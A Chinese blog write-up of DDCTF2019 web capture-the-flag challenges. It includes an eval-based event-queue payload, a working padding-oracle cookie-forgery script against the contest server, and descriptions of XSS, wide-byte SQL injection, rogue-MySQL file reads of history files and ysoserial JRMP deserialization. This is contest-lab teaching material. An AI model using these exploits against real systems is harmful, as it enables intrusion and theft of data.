DDCTF2019-Web题解

前言

最近举办的比赛 DDCTF2019 ,菜鸡 Web 手第二次打这个比赛,题目相比去年整体质量有所下降,有质量的题目只有三题左右,不过也是个能学到东西的好比赛。

比赛最后两天没有肝 Java 题,被hint弄昏了,辣鸡选手分不清命令执行和代码执行,当然也有对 ysoserial 不熟悉等各种原因在内,所以到最后还是没有能够 AK Web 题目,算是一个遗憾吧,希望明年能变得更强。


滴~

脑洞题,使用文件读取漏洞读取源码,然后根据注释的提示,找到该作者该日期的文章,看到文件名 practice.txt.swp ,访问即可看到下一步,只是简单的变量覆盖就不说了。

WEB 签到题

坑,带上 HTTP 头 didictf_username: admin 访问即可看到源码,利用格式化字符串读取 key ,然后就是简单的反序列化读取文件就不说了。

Upload-IMG

考点在于绕过 gd 库对图片的渲染,让 gd 库渲染生成的新图片能留下 phpinfo 字符串,参考:https://xz.aliyun.com/t/416 。用文章给出的脚本打一遍下来就可以了,注意不是每张图片都可以成功,如果这张图片不行就换一张,或者可以直接搜索其他人使用的素材。

homebrew event loop

Python 代码审计,比较有意思的题目,贴下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# -*- encoding: utf-8 -*- 
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66147e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

getflag 的方法很明确,就是弄到五颗以上钻石,然后调用 get_flag_handler ,最后再解码 cookie 就能拿到 flag 了。

仔细看一下就可以发现,题目对输入的字符串做了过滤,只允许数字字母和 _:;# 等少数几种特殊字符,无法任意执行命令,可以一次购买多个钻石,但是钻石的数量不能为负数,且每次购买钻石之后都会将 consume_point_function 塞进队列里来 check 余额,如果余额不足就会回滚。

解题思路:

  • 在 eval 函数中通过 # 注释来调用任意函数,该函数参数只能为 list 。
  • 因为他的函数调用都是通过队列来顺序调用,并且购买钻石和检查余额不在同一个函数中,所以我们可以通过调用 trigger_event 来打乱他的队列,在购买钻石、检查余额之间插入一个 get_flag_handler 。

在 eval 中调用 trigger_event ,将 buy_handler 和 get_flag_handler 塞进队列中,使用 buy_handler 购买5个以上的钻石,然后直接调用 get_flag_handler 把 flag 存入 cookie ,这样就算之后服务端检查余额回滚了也不影响我们 getflag ,get 提交 payload :

1
action:trigger_event%23;action:buy;5%23action:get_flag;

欢迎报名DDCTF

一道 XSS + SQL 注入的题目,很简单但是也很坑。

题目本来有个 swp 源码泄露,后来出题人给删除了。

报名页面的 content 可以进行 XSS ,利用 script 远程加载或者 eval(atob(“payload”)) ,都可以。

利用 XSS 打到 admin.php 的页面,看到一个 query_aIeMu0FUoVrW0NWPHbN6z4xh.php ,提示这里可以输入 id 进行查询,这里是简单的宽字节回显注入,注入出 flag 即可。

坑点:

  • 管理员不定时点击。
  • 宽字节注入点难以发现,粗略测试过根本没有察觉,思路直接跑偏去了其他地方(比如攻击管理员所在的服务器、在 login.php 进行注入)。

大吉大利,今晚吃鸡~

坑,整数溢出 + 脚本题目。

服务端在下单时接收单价和付款进行计算时,使用的数据类型不是同一个,所以我们可以通过溢出来让单价为0,即可买到门票。最后的吃鸡部分,写个脚本不停注册然后用自己的账号把他们踢掉即可。

mysql弱口令

比较有意思的题目,考点是 MySQL LOAD DATA INFILE 的利用。

工具: https://github.com/Gifts/Rogue-MySql-Server

不停读文件就完事了,在 root 的 .bash_history 文件里发现源码文件,在源码文件中发现 flag 的路径,直接读取 /var/lib/mysql/security/flag.ibd 即可,或者也可以读取 root 目录下的 .mysql_history (非预期?)。

再来1杯Java

源码包:附件

本地搭建环境也很简单,题目是个 Spring-Boot 的项目,把 class 反编译一下,然后再配置运行 Application.java 即可。

题目分为三个部分,密码、文件读取和反序列化。

Padding Oracle

根据提示,需要我们成为 admin ,观察 HTTP 请求,可以得知我们需要伪造一个 cookie ,脚本如下(写得有点乱):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding:utf8 -*-
import base64
import requests
import urllib

url = "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info"
data = base64.b64decode("UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF")
# iv = data[:16]
# c = data[16:32]

m = ""
myd = requests.session()
c_final2 = "\xA7\xD3\x87\x8A\x04f\xC7\x0BY\x26K\x5E\xD3\x3FP\x13"
# c_final1 = "\x2BC\x0D\x2BP\x5BR\x5CU\x16K\x04\x40\x0F\x07\x22"
# c_final11 = "P\xBE\x15\x9D\x03y\xA2bv.u\x10\xD3\xE7\x03\xF8"
c_final11 = "\x00\xDFq\xD2q\x18\xC1\x0E\x13\x14\x1Cf\xFC\x84a\x9B"

IV = ""
i_need = '{"id":100,"roleA'
for x in range(16):
IV += chr(ord(c_final11[x]) ^ ord(i_need[x]))
c = ""
i_need = 'dmin":true}' + 5 * "\x05"
for x in range(16):
c += chr(ord(c_final2[x]) ^ ord(i_need[x]))
print base64.b64encode(IV + c + data[32:])

exit(1)

# Padding Oracle
for x in xrange(1, 17):
for y in xrange(0, 256):
IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final11)
payload = base64.b64encode(IV + c)
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"Connection": "keep-alive",
"Cookie": "token=" + payload,
"Host": "c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023",
"Referer": "http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/home",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"""
}
result = myd.get(url, headers=headers).content
if "decrypt err" not in result:
c_final11 = chr(y ^ x) + c_final11
print "[+]Get: " + urllib.quote(c_final11)
break
if y == 255:
print "[!]Error!"
exit(1)
print urllib.quote(c_final11)
# for x in xrange(16):
# m += chr(ord(c_final11[x]) ^ ord(iv[x]))
# print m
# print urllib.quote(m)

exit(1)

修改 cookie ,成为 admin 后看到一个下载链接,这里有一个任意文件下载漏洞。

文件读取

下载到一个 1.txt ,提示说:

1
2
3
4
Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~
2. You can not exec commands~

坑,利用文件读取漏洞,跑字典可以在 /proc/self/fd/15 处下载到一个 zip ,里面就是题目的源码。

Java反序列化漏洞

参考 writeup :https://xz.aliyun.com/t/4862#toc-7

我虽然了解一点 Java 反序列化漏洞,但是从来没有用过 ysoserial 这个工具,趁这个机会也正好学习一下。

审计代码,可以看到它提供了一个无法回显的反序列化接口,并且使用 Serialkiller 对我们反序列化的类进行了黑名单过滤。所以我们的第一个目标就是绕过这份黑名单。

根据提示的 JRMP ,我们注意到黑名单中的 JRMP 类只有三个:

1
2
3
<regexp>java\.rmi\.registry\.Registry$</regexp>
<regexp>java\.rmi\.server\.ObjID$</regexp>
<regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>

参考文章:https://xz.aliyun.com/t/2479 ,找个方式,修改 ysoserial 中的 JRMPClient ,重新编译再输出 payload 即可。

现在我们就可以通过 JRMP 的方式来反序列化任意类了,关注项目依赖中的 commons-collections:3.1 ,我们通过这个低版本的组件实现代码执行,参考文章:https://blog.csdn.net/fnmsd/article/details/79534877

效果:


参考文章:

https://github.com/frohoff/ysoserial

https://paper.seebug.org/584/

https://xz.aliyun.com/t/2479

https://xz.aliyun.com/t/2041


DDCTF2019-Web题解
http://yoursite.com/2019/04/19/DDCTF2019-Web题解/
作者
Aluvion
发布于
2019年4月19日
许可协议